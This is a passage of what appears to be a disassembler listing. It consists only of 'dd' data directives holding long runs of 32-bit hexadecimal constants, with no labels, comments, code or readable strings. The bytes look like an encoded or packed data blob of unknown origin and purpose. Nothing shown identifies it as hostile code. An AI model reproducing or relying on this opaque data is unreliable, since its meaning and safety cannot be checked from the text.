0D8032200h dd 5605EC4h, 6AB7004Eh, 71090CFEh, 0ED001CC3h, 578BEE31h dd 788F59Ch, 3EC03583h, 0AFA990CCh, 99017A2Eh, 0D70A15E4h dd 0D8C4D616h, 9F2000B1h, 0ED027781h, 5200276Fh, 7E77E22h dd 90136EA2h, 3EE800E9h, 6F7A8016h, 30008A40h, 83794ED8h dd 1584D73h, 262E6B2Bh, 203DE562h, 600C733h, 2DCDC214h dd 0D13437h, 738AF62Bh, 2004C505h, 5B305F00h, 0AB10395Ch dd 8C130076h, 0B1C7CA6Bh, 83019E43h, 0AC78B3E4h, 19BC8A35h dd 4A5A1080h, 8D46FAD6h, 5730EC00h, 0C05D722Ch, 0C3F809h dd 3F7BCD67h, 764F705h, 872B3638h, 0A044F657h, 0B81AA703h dd 1744D4Bh, 7B4945B3h, 0E0924734h, 3C009F75h, 631C513h dd 0E1A0767h, 0E823384Ch, 0D42714C2h, 0CBDC79E0h, 0D16E9130h dd 0FCEE0Fh, 79192130h, 519EA9B2h, 7E61B603h, 80B1AD8Ah dd 5A63F2h, 0C6E5D83Ah, 13F532C4h, 0A0D2C800h, 0A44E1427h dd 7C910011h, 1ECF306Ch, 671F2B3Bh, 8549829Ah, 1BC1006Fh dd 653FC47h, 0BE8ED4E6h, 4600101Ah, 43E5B285h, 1F29ADEBh dd 3B9FE9h, 2A567999h, 7D00EF71h, 2A6138Eh, 30145868h dd 69686ECAh, 6600FCC6h, 0F0B1AA70h, 486DC0h, 73904D82h dd 0F7C6DC63h, 7AAD0F00h, 0E640FADDh, 559D0703h, 0C05384E1h dd 98B90D2Ah, 10077ECh, 923E579h, 0AA0C37h, 63B051D0h dd 0F18A9939h, 0FF319403h, 0F0981504h, 0EC650D4Ah, 79F9001Fh dd 0FB61EE51h, 8D00B0B6h, 73C5FF34h, 282FF73Dh, 0A497F3h dd 601013A5h, 0B47A9D75h, 0C64A8400h, 0C458EE28h, 39D705F6h dd 5783AAh, 0E423E78Ch, 0B9396FBBh, 8BEC03E9h, 90C0E28Ch dd 3F72AA90h, 0F300E16Ch, 0DF2CBB9Bh, 6003A71h, 627887AFh dd 7DF5A359h, 701E3A33h, 0FEAE0581h, 20CBE77Ch, 0AC0124B8h dd 9C198CEAh, 8C706B5Ch, 6C1409E9h, 0EF8E1DB5h, 8172C81h dd 15C42402h, 0FAF9F100h, 0A8D187CBh, 0A7907CEh, 7B5F18h dd 964CF2Eh, 3C223100h, 9AA94268h, 0A01100A7h, 0BFAD45A3h dd 0B930C826h, 3049E02Eh, 976B01F6h, 817AD8E2h, 0A06980E6h dd 8F2B8DDBh, 0EF730008h, 0BFC30B40h, 0E0FA0AA7h, 0BDD59000h dd 0D8F709FDh, 95AE00A5h, 0F67562EBh, 6E3A8F05h, 9C940089h dd 20EFE10Ah, 9D1F12CEh, 9203AAAEh, 0F822BF1Dh, 0E8FA9Fh dd 5D0F18DEh, 0B362AA47h, 0D283050Ch, 544125h, 9A6CDB09h dd 0FEDAC6F4h, 80A4B430h, 7A110BF3h, 30D47186h, 6306E94h dd 72B833EDh, 0AF025490h, 0DBF0D61Fh, 0B1108092h, 16B73Eh dd 943A7DA4h, 0F168C6E7h, 73CBA000h, 6A831582h, 0E75848B9h dd 76644701h, 0E82574EBh, 0EF000CBBh, 284DED9Ah, 7BC5B8Ah dd 3865B11Eh, 207A53F3h, 0D500E870h, 0AC7EF6DFh, 34C3BCh dd 7B0396F7h, 0DB413733h, 0F59DBA24h, 48383000h, 29FD4D6h dd 332F9CABh, 880E745h, 0DC42326Ah, 0B09ED70Ch, 341319Dh dd 0D931D163h, 8E93F683h, 863A5C80h, 94EDA100h, 9E76471h dd 0BF571DCDh, 0D15F80F3h, 678FBE0Eh, 0E4CCD8C3h, 81207146h dd 23288154h, 3C94E9D0h, 2ED21980h, 99D7CA2Dh, 555A0B00h dd 1D7FEEAFh, 7C5731Ch, 0F80CB840h, 4E74100Ah, 0C40028BFh dd 0E7D4A0DDh, 0B14A13h, 0C683CCD6h, 0D0B51FC2h, 2FF8DE01h dd 0CFF36750h, 1E0BF8h, 0DC80B2FDh, 6ED1CD26h, 0EF653109h dd 944825D7h, 27B8DDC0h, 98F70E16h, 0BD076FA6h, 18D2579h dd 32D0DC68h, 2CF4CCDFh, 55F824BAh, 0ADD3631Ch, 0A57BBB83h dd 70B0A75Eh, 549299h, 4429F4A7h, 9E50EDE8h, 42007171h dd 0BADD8A8h, 0F249C20h, 0DE04FA58h, 9818C600h, 0E0FCABF1h dd 0E848EA00h, 84BDB16Dh, 0EE217E5h, 27C50029h, 7888FFA1h dd 0CC68A200h, 59EDD893h, 362500FEh, 0A42FF567h, 7E00A85Eh dd 0EE6C5D4Dh, 45CB5Fh, 0DF0A014Fh, 68229A23h, 92252700h dd 0FE6967D1h, 0FC7500D4h, 29BE8A57h, 0E7E8B2C5h, 7B6AC700h dd 132FAB26h, 12A76FCh, 72AFB6F6h, 50607703h, 95BC0590h dd 5702D300h, 377E0AD2h, 74D849A6h, 69E7C900h, 0F4B24027h dd 0DF83Ch, 0C0CABE6Bh, 5AC14h, 2D1EFAD9h, 4CB658FCh, 971C8707h dd 49B552C7h, 0FF9FD401h, 71868480h, 183DA36Fh, 2D393114h dd 7DA800C0h, 4E4BE0BAh, 93EC0097h, 110C994Fh, 56009D45h dd 9BD3670Fh, 0C05271DBh, 5591A749h, 0D03C0AFCh, 68C30098h dd 95D7B296h, 1890019h, 9B59BD7Dh, 0B70C53A2h, 91063507h dd 29E085h, 0E7F54E95h, 0DEF6B31Dh, 0BE00E9E4h, 88234762h dd 54D153B7h, 754584D5h, 0BD1E07B0h, 474A2DEBh, 0C0DCB3DDh dd 0D084B5B9h, 0DE00C12Ch, 0A116DF29h, 92D870EFh, 0AC680154h dd 0DE516090h, 0B9E4ECF3h, 360BC51Ch, 8E90CF18h, 5F23002Eh dd 0A379A4B7h, 8F3D9E3Bh, 7B181EA5h, 0A201987Ah, 25E588h dd 8862C58Ch, 12482A2Dh, 0DCD59201h, 0E58A7AB1h, 74E0F2E1h dd 5794A951h, 0B45A6FCh, 1624CF84h, 40176D85h, 0CE04E984h dd 0C2037A7Dh, 1AC942EAh, 0DF80EDFDh, 49A6B22Ah, 890098D3h dd 110A4A5Fh, 0BD7CABC2h, 0E44F8CA9h, 5AFC18D1h, 83BC7F38h dd 71DD7476h, 86813E5Fh, 4B7EC487h, 68A6933Eh, 78CA90A0h dd 0FB00E491h, 204EEDF9h, 8E0202AAh, 17DB81Fh, 0C5E59098h dd 0E0ED9600h, 0D4A5DEA3h, 1E0903E6h, 74C8FBA4h, 9101FEA3h dd 5494B3FDh, 90307C0Eh, 8ADD00C3h, 0B51BC461h, 0F3015EBEh dd 0F8C50F82h, 61810E36h, 314B3951h, 0F584D0F4h, 0C0C4C924h dd 5FFD1000h, 2A017538h, 0CA89DDCh, 5925A648h, 76000670h dd 0BCE00AB1h, 3316418h, 0EF98C9BFh, 0B0B09432h, 24916795h dd 4B688580h, 906C076h, 715B74BDh, 30161411h, 0A403421Bh dd 0B5613AD4h, 400F8AF5h, 535A30h, 63014382h, 21C08C42h dd 691A1C1Fh, 10032B09h, 89A355B4h, 5C0430C0h, 997FB3Eh dd 102C6183h, 784080h, 74322BA7h, 4FB56ADAh, 54B01C00h dd 4056CABDh, 0C60FF01h, 221200E4h, 58F9CC32h, 6238F641h dd 0B682874Bh, 1F07F4B5h, 2FED5911h, 9A7BE0h, 0C1E24FC5h dd 37441EFBh, 84B2DD01h, 3DAD7A95h, 90318180h, 88806BFEh dd 0B8F1E801h, 591EAB1Ah, 0EB7C7980h, 0F94FFC6Ah, 40DDD807h dd 0C47E806h dd 37B3C880h, 0CC78010Dh, 412CC742h, 8AD047A2h, 0FF94BBA4h dd 0C808451h, 45D9461Eh, 843AA498h, 29E98C02h, 1DEFE87Eh dd 2C4E58FBh, 0FAB0E38h, 68279920h, 0B1C0AE7Ah, 0EE706CD9h dd 0CE8B0095h, 8C311822h, 0B0007434h, 9E532EBDh, 0D4AF79E3h dd 8307C031h, 81C91231h, 0ECF57696h, 1713282Dh, 4C1E392Fh dd 6F910BC5h, 6758B9C0h, 6C9974h, 765A1A84h, 0B00F5C6h dd 233E9641h, 6D1559h, 1963EEA7h, 7B927040h, 2CBDA424h dd 9EFB00BBh, 1DAD6467h, 22EA09BCh, 5D81CE6Eh, 32720F9Ch dd 28AE00F8h, 3F358BB0h, 0B52702C5h, 0C3E48C02h, 80856D41h dd 182FF412h, 48897156h, 0E90C4039h, 0DDE1AB79h, 0DB89500h dd 4F402AFEh, 31A5092Fh, 3506AA36h, 743068A1h, 0AB097156h dd 0FECBE614h, 341F0030h, 0F837BCC4h, 600226DDh, 0A7636A78h dd 0BFA0907Ah, 517D3B3Ch, 0C03BA59Dh, 0FE794B74h, 0F30D377h dd 2B63D059h, 9D40194h, 2F38067Ah, 4FE2418Dh, 50798168h dd 0D5014582h, 4C29E448h, 247BF4A2h, 8FE022A6h, 1DC4E992h dd 39B2C007h, 0D000BAF2h, 0E674115Eh, 24AADF68h, 835C1837h dd 5C1AEBB7h, 0F5A1BF89h, 7424417Fh, 0B9798057h, 30C2429h dd 2C110002h, 170EB78Eh, 73000901h, 4864CD2Fh, 4D3608CAh dd 39004015h, 549A4365h, 0A600C4C8h, 0C2A43B4Dh, 0DEF5CBh dd 2ABEC10Ch, 7C0D233Ch, 0BC891B26h, 2EF4043Bh, 64C935C3h dd 1E8313FCh, 808BDCA9h, 0A172881Eh, 9A00452Ah, 3D2512AAh dd 61A57416h, 337EB920h, 0E2D68173h, 38FB8122h, 26BDFADCh dd 3095867h, 7226916Ch, 610FE1AEh, 0A0D16377h, 0E3E68811h dd 34BB0764h, 39A6D4BAh, 54234820h, 0C400DE69h, 0B13EF340h dd 6FA59C29h, 39A021D9h, 5B43B47Ch, 82233A02h, 44D12C2Fh dd 97B50E20h, 72C08676h, 3E2730D5h, 0F952F02h, 90D0F75Ch dd 0ECA757BCh, 0D46709D2h, 2780157Ch, 49FB3163h, 0B7415100h dd 11AB1806h, 0BF3C00E0h, 0A61EFC65h, 0A700E415h, 6D20F40Fh dd 0C1E6BBF6h, 0E0AA57E1h, 338Bh, 6E971195h, 1C8AE6h, 8E26A90Eh dd 86A6CFC2h, 95032702h, 20B07A73h, 0B1A41B12h, 1AC414Ch dd 4DF13FABh, 56C042AEh, 5069CB5Dh, 0D084909Ah, 0EEEF4058h dd 653D2Fh, 0C474AA56h, 72F60647h, 3D1B133Eh, 0E0BD8069h dd 9FFA683h, 5828A15Fh, 80210463h, 51AC0904h, 163A7CA4h dd 20A5A611h, 0EC60DFECh, 6800F979h, 8AF089FDh, 80220Eh dd 91E0ABB0h, 0CBA79B65h, 0E86E8100h, 0DB7A143Ah, 615E6074h dd 3FEDAEAAh, 81E9FC38h, 0B405E7DAh, 0F47270F0h, 0C1024B03h dd 73F8273Bh, 0FF4C79A2h, 250701DFh, 9FB07291h, 0D060A8F9h dd 0EBDC00B9h, 0AA8A840Bh, 8CA89A98h, 71C05A74h, 44FF72D0h dd 659316EFh, 4A8C0766h, 2D1F4211h, 22A48449h, 41600044h dd 0A6186ACh, 1A200B2Eh, 2C902CE3h, 0A800D177h, 809BF5A3h dd 3ED86FABh, 0CA8B73BCh, 0A8309CA4h, 5F051D60h, 32350C3Fh dd 0FC28B440h, 0E2BE8BD9h, 209449DEh, 0CBF57D00h, 0FC023B09h dd 80F0DC58h, 0C5918BA2h, 810B6335h, 0E5B05313h, 801B71Fh dd 4C3FA915h, 0FF2041BFh, 5CD10514h, 14275853h, 1C83DC6Ch dd 9D00533h, 6E003937h, 0C82CAFF1h, 0E5CC15h, 89E05A26h dd 0ACF9620Fh, 0F8CE972Ah, 0CD8F603h, 0CD533FF1h, 0D266400h dd 1BADF8Ah, 9842EEF6h, 0C931BB6Dh, 0AC982043h, 2968D904h dd 4C87757h, 0EB5A0049h, 0CF58948Ah, 0E00A0DF7h, 0E0C4A097h dd 0C4255213h, 4F431C80h, 0AD110028h, 88B5B0E6h, 0B490808Ch dd 176D5926h, 82192C03h, 1DC69126h, 8AC2C2h, 0B9A18820h dd 1546FC51h, 0A8E170C8h, 0DA85183Ah, 81A6D915h, 0E8056704h dd 29583A87h, 0E71A0661h, 5849D2BEh, 8C006457h, 741EFF22h dd 0D400E145h, 4486FC10h, 5A5363h, 141D3D40h, 0A77AC85Bh dd 0A92E3C01h, 0F7D389EAh, 7FB942F4h, 59CE09FAh, 241135F9h dd 0A854C497h, 890FD00h, 0A758607Fh, 35A201F7h, 71D61B19h dd 0E0321055h, 2DBE0012h, 0F4C66A97h, 4500B7BFh, 0CD68291Eh dd 803DA46Fh, 4000ED77h, 8CAFC58Fh, 3F312791h, 83001E64h dd 0F4B72181h, 0A4B046A2h, 0FE02D8EAh, 0AA60DA0Bh, 3C90649Ah dd 516179ECh, 0CC3A668Fh, 0D87A1C4Ch, 0E401E7E4h, 11B79349h dd 2CE06DD0h, 9AEF04E0h, 984C53E3h, 44121C10h, 8488BF1Fh dd 0F3E90047h, 4C39D4D8h, 2630746Bh, 0A4A6263Bh, 0F8B979h dd 0D01CFF6Ch, 9145D48h, 8AB5B6h, 3D593FB3h, 0A81A2C72h dd 6B1A4h, 0ADE38E35h, 0FCA480EEh, 3AC56D01h, 414532Ah dd 2BFF2982h, 0A8417461h, 0C4003054h, 2542527Ah, 751FBD22h dd 0C700179Ah, 3A215FA3h, 0A6B2181Bh, 5EA721D6h, 83AF0C1Ch dd 6B267940h, 87DF5Bh, 0DB581281h, 0FBEB29F3h, 0FA406896h dd 84C9ECh, 39109CC3h, 3DA526FDh, 68564509h, 7E8C9077h dd 8CF4007Ch, 4792C6A9h, 3902A4E6h, 0AF82D99h, 4704681h dd 66526B5Ch, 0A0CC82Ch, 55BB4801h, 919B2B9Ch, 357FD4h dd 0D997C44Bh, 7DA19D0Ch, 73F6CA00h, 720299B0h, 0C951C353h dd 0C4F8D413h, 0A50C04F0h, 90FA5ABFh, 80765CE9h, 7B84E33Bh dd 0C3AF7DA2h, 4FE02F15h, 6F4CFE12h, 0BEB31E8Eh, 18C651C1h dd 59A75955h, 7B00D2D8h, 0E984B297h, 0BAB5BC3h, 0BD74499Ch dd 9FA88E00h, 1E1DFB05h, 7ABEE77Eh, 8FE4F838h, 2733BD0h dd 447129DCh, 0A732000Ch, 0F96F9CE3h, 85005FFFh, 0B6CF7C6Bh dd 4EDEF8E4h, 0B98000Dh, 0B2C284D5h, 4EACBE00h, 5C8D7E9Eh dd 0EBC01F47h, 8008E679h, 5E26F164h, 4C006A14h, 0A0FB915h dd 13DEAE86h, 9035CFD9h, 0B7EAC47Ch, 0AF32E701h, 3DEB43F6h dd 0A81435E8h, 0E0CCEFC0h, 50820088h, 0E6764D69h, 8C01A28Bh dd 282EF3A7h, 8450D745h, 385A85FCh, 89E05205h, 0FBEC489Fh dd 0F6055874h, 2A0AA863h, 0FDEA7C41h, 0C8F8DD1Bh, 4C6900CBh dd 3DE0B3Ah, 1A288361h, 0A7004437h, 0FFE769F9h, 0DEB854h dd 838F3E33h, 0FEF3F09Bh, 857D0200h, 62CAB456h, 0F186091Bh dd 0E0E445FDh, 1F7F2400h, 960DE950h, 91800E2h, 9B6D4875h dd 0DD50934Ch, 0F00059D8h, 5F7B749Ah, 26BD3B6h, 0B35A52ECh dd 6CC4D401h, 0C8DD7428h, 0A6042604h, 0C8885253h, 1E7273BCh dd 0C0540885h, 0D895F3C2h, 24B82623h, 12F6B207h, 0CCD2A2C7h dd 0E2E480C1h, 90D43F74h, 84853EA8h, 0A12E17h, 320AD8C8h dd 2B525439h, 0C8B505A8h, 38445652h, 0E8C1A6C3h, 8627B4Ah dd 69140E00h, 89A4F7C0h, 0E8BDFC00h, 2ABA139Bh, 39C90095h dd 85FBEF11h, 0DE392065h, 0FC0E0304h, 0C0C16F88h, 5CC8A116h dd 0F81E479h, 0F413BA66h, 0EB032451h, 58EEDB5Fh, 5634875Ah dd 0A11EF947h, 307AA4F6h, 0AA251B4Ch, 17427B2h, 844FA05Ah dd 0A894287Fh, 0D500F8A2h, 346A222Fh, 70E9BED4h, 1A774EA7h dd 57693300h, 0ADCD62Ah, 0F49C0052h, 130BDB9Eh, 0AA0CEFF9h dd 495C7550h, 0F8D2F6BFh, 0B01F01ABh, 611F144h, 4EF040C7h dd 0AA178936h, 44BD2BCh, 0A7A0E4Ch, 0F700207Ch, 2ABEDD7Dh dd 74E92612h, 6E354078h, 0EB3C8EC5h, 0B6B08445h, 6C804C36h dd 0C4BF16Ch, 0D7A5B713h, 0AF17B9F1h, 0EC032252h, 0BA01EA69h dd 0DC6C29h, 5BBD7A62h, 2A984B50h, 5062EFh, 837C3886h dd 524BDA3h, 0F6E5A996h, 5A138267h, 0D1C3B440h, 3136CD11h dd 0A0917100h, 8F78D958h, 0D4A57C18h, 0F02FDF89h, 871402ABh dd 280D3869h dd 0B7F5BA82h, 31C81C40h, 3B230900h, 3D675661h, 400C9428h dd 0B9D86DF4h, 0C90C8024h, 0B416600h, 924F805h, 76CC7498h dd 0AFC0B893h, 1701618Bh, 0DBAA4ADAh, 2AFC7544h, 67E0034Bh dd 2CC12097h, 3D5682C8h, 0FF378B17h, 0C79EC847h, 0B848FDE3h dd 1D69B0EDh, 4044D46Bh, 0BCD66EE7h, 67090B75h, 44C31171h dd 60E023Ch, 72A737BAh, 140D490h, 15349260h, 1213A6CEh dd 20728248h, 361A7054h, 7A005C7Fh, 1B3FDE21h, 0FC4463h dd 758C6F18h, 65A46905h, 56143Eh, 29C8519Bh, 2275CFCh dd 0AE262283h, 1B61E474h, 0EC82971h, 812811B4h, 703DE0A1h dd 4E472F6h, 538E6AE2h, 6707C0A5h, 0A09FF2Eh, 8FB92903h dd 98BC80EAh, 0AB1937ABh, 0D2CD88BCh, 0A9B0748h, 9C8C61h dd 0AC64F630h, 26A5AB00h, 10CD2082h, 0D1DE24BFh, 0A35A87FCh dd 0E54C7B0h, 7E3C8CF2h, 6C6D0A00h, 85EB9147h, 125971B2h dd 604FFFA1h, 0B86A44E0h, 0D236F00h, 0E5D2B88h, 40375A61h dd 7C51C798h, 0A913565Eh, 1B00B96Fh, 0F3DC422Ah, 47710C20h dd 1E515B77h, 111F6C00h, 0EC18641Ch, 0AC854925h, 0E1DFE90Eh dd 0D520C40h, 1C989E71h, 48A4DE5Ch, 4506C008h, 3E53DAh dd 2CBB181Eh, 702FEE9Bh, 0C31BD513h, 71AFA007h, 0C2D06079h dd 78A55C7Dh, 49A21C80h, 0B30197D1h, 6A7E824h, 1C2DA3DFh dd 0E963007Fh, 5037DBF1h, 8C007BA0h, 0A979DD9Eh, 797606Ah dd 0F645340Fh, 2F7423D8h, 51AFB588h, 85ABD612h, 886D24D3h dd 603F8F19h, 0D14590C2h, 0A9282B5Ah, 917CE7Ch, 0A81CA244h dd 68A3CEC9h, 1D5089C8h, 4212D8B2h, 17CDF7Eh, 24B1DDC0h dd 54F5C001h, 74BC15C8h, 8F005869h, 31300AF9h, 0F212C2D1h dd 0DC036A01h, 0BF47566Bh, 82D4C9B9h, 97B4FE8h, 8F23EECDh dd 0DE25E818h, 5B13B300h, 3405737Ch, 0B5E205C6h, 0CCB2BA8Dh dd 35005FBCh, 3427AA51h, 7FFDB97Bh, 51EFFC52h, 698791A7h dd 0F666A1h, 0C8D444Fh, 34E948h, 82A9A543h, 1F4B3F8h, 0BEB5834Ch dd 3CAADD71h, 0EC79808Ch, 0E77AE0Eh, 0E8B9FB47h, 4DB31480h dd 4F2D2CEEh, 22242075h, 0DBEB2Fh, 8EE1A50Ah, 23A4F510h dd 7BBD33Ch, 0A2CAC77Dh, 133C863Bh, 4084B6C1h, 0D58E3937h dd 2D10AC00h, 46360C47h, 88930060h, 0FC623044h, 0D0FF8086h dd 0B400D11Eh, 57957C0Dh, 5C8B9DFFh, 8CC05871h, 0DF850541h dd 0C5A75D1Eh, 0A8BCAE80h, 7E4C8D2Ah, 50152713h, 0FAE66CA0h dd 213E9087h, 0A20A11E5h, 3C905F2Fh, 0A7000D07h, 8715F2CDh dd 622E77h, 86E945DFh, 3CD37435h, 26A68A00h, 38CA3385h dd 0DD2A1C2Ch, 61482ECEh, 60BE9AA7h, 8D2DC9E4h, 6D8410AFh dd 79503E7h, 0CAE5594Eh, 0E2602580h, 18D5DC00h, 8D81FE97h dd 25D9F464h, 40A95751h, 0CE8E2098h, 0B7670702h, 48A6EEA3h dd 4F948CD4h, 956C417Ah, 80B13AB0h, 4670C22Eh, 3482E9Fh dd 2096F9D6h, 5FE0B88Bh, 0F80A5987h, 0BCDEA667h, 0AB6A89h dd 0BF70F59Ch, 0CDA20464h, 0F2312D51h, 5922E0h, 0DFC91CDDh dd 207B6DD9h, 73E7610Ah, 8901DC64h, 0A0144EFAh, 44298A6h dd 0B2B1EE4Ch, 9E9B0170h, 9A73AB1Dh, 2908D420h, 942CE3h dd 14F1A822h, 60025BAh, 4CE5D8CEh, 6F2BC9Dh, 0BF4D2E6Dh dd 7CA089DFh, 715C0E48h, 8FA380B8h, 11C5E4h, 52B80516h dd 0B4A93046h, 439AE51Eh, 1939D4C5h, 59113841h, 0F2CC0FBAh dd 0D44D000Dh, 76969963h, 90014516h, 4362F450h, 0CFD3BBDFh dd 40B33B04h, 8B0D2500h, 8A3D7119h, 0ACE0AA1Eh, 0FD915BC7h dd 4CC058F5h, 9CD10FDEh, 7A5F8080h, 7108D223h, 311D96FAh dd 6C80F6CBh, 17203D50h, 0CDAC0144h, 0D63F63F5h, 4DD4600Eh dd 458B48DFh, 0B5F41074h, 3D400094h, 0DA131548h, 0F5000A5Bh dd 333B0FCDh, 0AA6D68h, 0F9224A88h, 9BF3A3A4h, 1490A54Ah dd 8E93CAh, 0ACC73A30h, 48A8CB9Ch, 0EA313Eh, 68E46256h dd 4EBEF8h, 6C55997Ah, 88269C66h, 1507EF0Bh, 7E10114Fh dd 5400C479h, 1D980471h, 0D00D7ECh, 2EBAF21Eh, 96BDA647h dd 6E168000h, 0CA7E3B60h, 0FA8A7D02h, 79E09712h, 0C01F1D0Ch dd 2C6BAE69h, 950071CAh, 3F3CD6C0h, 2852F1CDh, 14885782h dd 44751013h, 73BC200h, 2EC59A7Ah, 0CD256E01h, 0A6F05489h dd 0C59E8h, 0CEBF84B3h, 328C8B7Eh, 25BCA95Ch, 0D8FC4B70h dd 709694C7h, 0D9333CF7h, 2077B697h, 0E0E3B768h, 8E00C9F2h dd 5291A408h, 922652Ah, 710BC531h, 8A5BFC68h, 18E71C00h dd 40874F0Eh, 6A2C2EE9h, 2FAA602Ch, 0DB0ED7C1h, 5DD1957Eh dd 849C4480h, 35F13D2h, 0F5775CBEh, 1D819D6Fh, 58FCE8B8h dd 6C3A4012h, 1EC7C8C8h, 4017817Fh, 7468D2EBh, 3EEE4C9Bh dd 2E1AE201h, 2C27DAACh, 407F072h, 4081D272h, 0DFA1662Ah dd 3AF4EF00h, 9A24F9A6h, 0CF7B0156h, 2D7CE0ACh, 5C0AC066h dd 3E4410BCh, 0C1C4B440h, 234B97ABh, 80542048h, 0DFA28E8Ah dd 0C50FE285h, 0C141D649h, 0C1D5092Eh, 0B45F8E4h, 2CC8E98Ch dd 0B88638E8h, 1D38F7F8h, 5BC50062h, 0F7F06D6h, 35C21865h dd 31AB790Ch, 835ECE00h, 745C7556h, 1615734Ch, 0D0E5BEDCh dd 7F6B56Ch, 0B0ABDD08h, 4C3C02D0h, 7CE1A61Ch, 0C4C068DAh dd 0B4E2C8BAh, 6B628100h, 97215463h, 40C9D700h, 1F2CF252h dd 0A2D005CEh, 0A17A3680h, 4C80EE2Ch, 81988F4Dh, 0EA8A4500h dd 93FBEBAAh, 2209055Ah, 0C8A69012h, 44004D78h, 0A7B76614h dd 0DC1149h, 4CA4F038h, 0DE21180Eh, 0F9BB6313h, 52DA30Eh dd 5CC06C2Ch, 2A4B42Fh, 87EEF3D6h, 18527730h, 0DF346D02h dd 60070E62h, 0EC5CD880h, 0DD830F67h, 39FEE01Dh, 9079C514h dd 8C01DF80h, 0CCBC7B8Bh, 0D8C066h, 0A135656Bh, 2FBF62F6h dd 25720A00h, 7F8E99F8h, 4F6C01D3h, 0C3413DF1h, 9CA2E6ABh dd 0CC41EF3Ch, 80D42C43h, 4849B595h, 0A3DB2C8Ch, 0ED580955h dd 92035464h, 0D7FCAE7Eh, 0A361E056h, 0DB350071h, 118C70AFh dd 0CCA45253h, 2E7BFF19h, 0D8227E39h, 54B32A00h, 7083A9EFh dd 0C39CDD5Ch, 882241C2h, 7C3C4Eh, 8301E334h, 70AE6B1Dh dd 0A91910E5h, 4F51006Dh, 7A27C469h, 562CDF8Ch, 53014D20h dd 7196F3F2h, 5C291840h, 0EB770014h, 2086BF48h, 0F1C6BC2h dd 0D8801B83h, 0CFF5E563h, 3AFF29A5h, 0D07E12ACh, 1CDFD940h dd 0AA5DA700h, 2E4B91ABh, 2CC51E90h, 1F4E80FCh, 26DF9457h dd 0A53B2312h, 44C7500Bh, 245E0328h, 400731EDh, 3C4D4EE8h dd 0B2C3261Dh, 0C00094D6h, 1F654858h, 79E82D6Dh, 435FDCA0h dd 9500B376h, 0D2F2AC80h, 58A67F24h, 0B0096070h, 0D0E8A593h dd 0E40B2C4Dh, 7620D9CCh, 0F2250222h, 14E065BEh, 0A006E47h dd 0FBEC9058h, 0E2497554h, 0DAD40FF0h, 8D60B508h, 0FE20EB32h dd 6CD78800h, 0FFBEC776h, 11C90084h, 0F04070D8h, 5B5CF6EEh dd 61007CD6h, 561808F4h, 0C04E04E1h, 9868C39h, 897710A1h dd 6AEBA700h, 24A63CAAh, 0CBB101E0h, 7EB81BD7h, 5308052h dd 64CCDD32h, 0F92403C9h, 6FE960AEh, 9A8088E2h, 0DA85E68Fh dd 0B28F72Eh, 0EAE80601h, 718C4C20h, 0FB49861Ch, 2D0013B0h dd 0AB5D9B5Bh, 1D0B86Ah, 42A2DE73h, 0C809F629h, 116F0BF4h dd 2DB18061h, 1FF5DF67h, 0C328CF85h, 3C46D99Dh, 590009CBh dd 36D0E888h, 60B86D31h, 69AC7804h, 0D900567Ch, 74EBB78Fh dd 7354D67h, 0E18C7DD5h, 988280ADh, 330B21Ch, 775249D2h dd 8E86063Bh dd 618F1FB6h, 0FD0FA307h, 1300F383h, 0A6B41Bh, 4B08E7DCh dd 0BB2A41B1h, 0AEEB3A38h, 5E06FB54h, 3C50A76Fh, 6B009DD7h dd 97C690D0h, 0F570368Eh, 7B838A0h, 0A69450E1h, 0FF018D73h dd 178C6DBAh, 8181811Dh, 0E9FD3D99h, 0E041F8FAh, 0E63B3Ch dd 0A09A90A4h, 18EEC91h, 240E0D69h, 8F8581BFh, 20F04639h dd 0ECEAFA8Dh, 8469C0FDh, 0BFC0F668h, 21ED8007h, 2D4125F8h dd 24E0BC73h, 0E2692AF1h, 4AB800C0h, 700DE16Eh, 9001E7Ch dd 394F7DF0h, 0CD3BFEDh, 5184B1D1h, 0DF019071h, 2B138B2Ah dd 8840A540h, 0C304A716h, 0F3E8EE88h, 98833EA0h, 62841200h dd 1E5DA441h, 0DCB2546Ah, 0CF7107D0h, 70D2B32Eh, 0FDF0C94Eh dd 9FE2D00h, 0F8AC325h, 0E2BE1FEBh, 0D0EA4027h, 0C17DFAE6h dd 0E9D3Ah, 7A4593ECh, 6DF9BFFh, 600FC0B7h, 5C00D1E3h dd 93330981h, 78C14F58h, 83B8C3h, 2A74B7C6h, 4BA4982Eh dd 0C18C48h, 15EFD237h, 0A7758A8h, 0BA6A316Ch, 703080ECh dd 9F3FCA64h, 8701D800h, 2F8EEAD5h, 68821B06h, 239DD1BEh dd 0C0A8F9BCh, 7600A94Fh, 0E80C6508h, 2EC0DBDh, 7886A321h dd 849A6FC8h, 8DD65280h, 0F1006A85h, 9A0CA013h, 14C9B3FAh dd 0FC32B96Eh, 0EBBA763Dh, 82A21C38h, 0AC8A4E04h, 59803BDEh dd 0DC1DE2h, 2B0B7D31h, 0D517F532h, 7F154092h, 0E0B207h dd 0F6021DA8h, 0E369483h, 74CC5270h, 76EAE520h, 0E01E9D2h dd 0B9642B4Ah, 0B844F3BFh, 0E00A3483h, 429CE38h, 11029154h dd 8F208860h, 42C8C212h, 0B8688E00h, 59B98Bh, 79A2CCCDh dd 7899EA31h, 986A9029h, 0DE85FF00h, 0E5DBD1h, 11BA2D77h dd 7F96538Ah, 59C0697Ah, 0D4415ACh, 0EA67DA1h, 0FABFD580h dd 0F5CA00F6h, 87EC5192h, 19A5F0Fh, 58B50166h, 0B560E265h dd 0B2081E2Eh, 6ACF05B1h, 14E840A4h, 5C43B012h, 13916D00h dd 58DAF4CEh, 4E280386h, 8B17EC50h, 69998FA8h, 7C892160h dd 0B83CF706h, 2CF500E8h, 8BE21FD7h, 90158BAh, 0A5F1CA86h dd 80FEDA38h, 8C3DDDF8h, 5DBE12ECh, 729000C4h, 0D4ED671Ch dd 6D01D714h, 60948084h, 3C6B0Dh, 0D20F22E4h, 491D8DF4h dd 0EB38DB04h, 2C93033Ah, 77D3C82Dh, 8EF90097h, 65B8847Eh dd 360E138Fh, 0C7F2CCBFh, 0A3AE9919h, 37AB1C0h, 580D0539h dd 11004F07h, 24923B2Bh, 0C8E647h, 48991E49h, 0A39CF8DEh dd 8F42AE3Dh, 40183A7Ah, 722E8E89h, 1E1F0752h, 59B58848h dd 90F7F490h, 5A69C800h, 0BE67088Ah, 29DD0562h, 8514DE53h dd 0A9B8533h, 80A4E444h, 0AE264C82h, 0B74CB027h, 0CC196066h dd 41D34A6h, 4F4C8C1h, 13BF4011h, 18011A09h, 79781EF7h dd 60077DAh, 93CD72D4h, 23CEA82h, 3E7D5D57h, 98409F9Eh dd 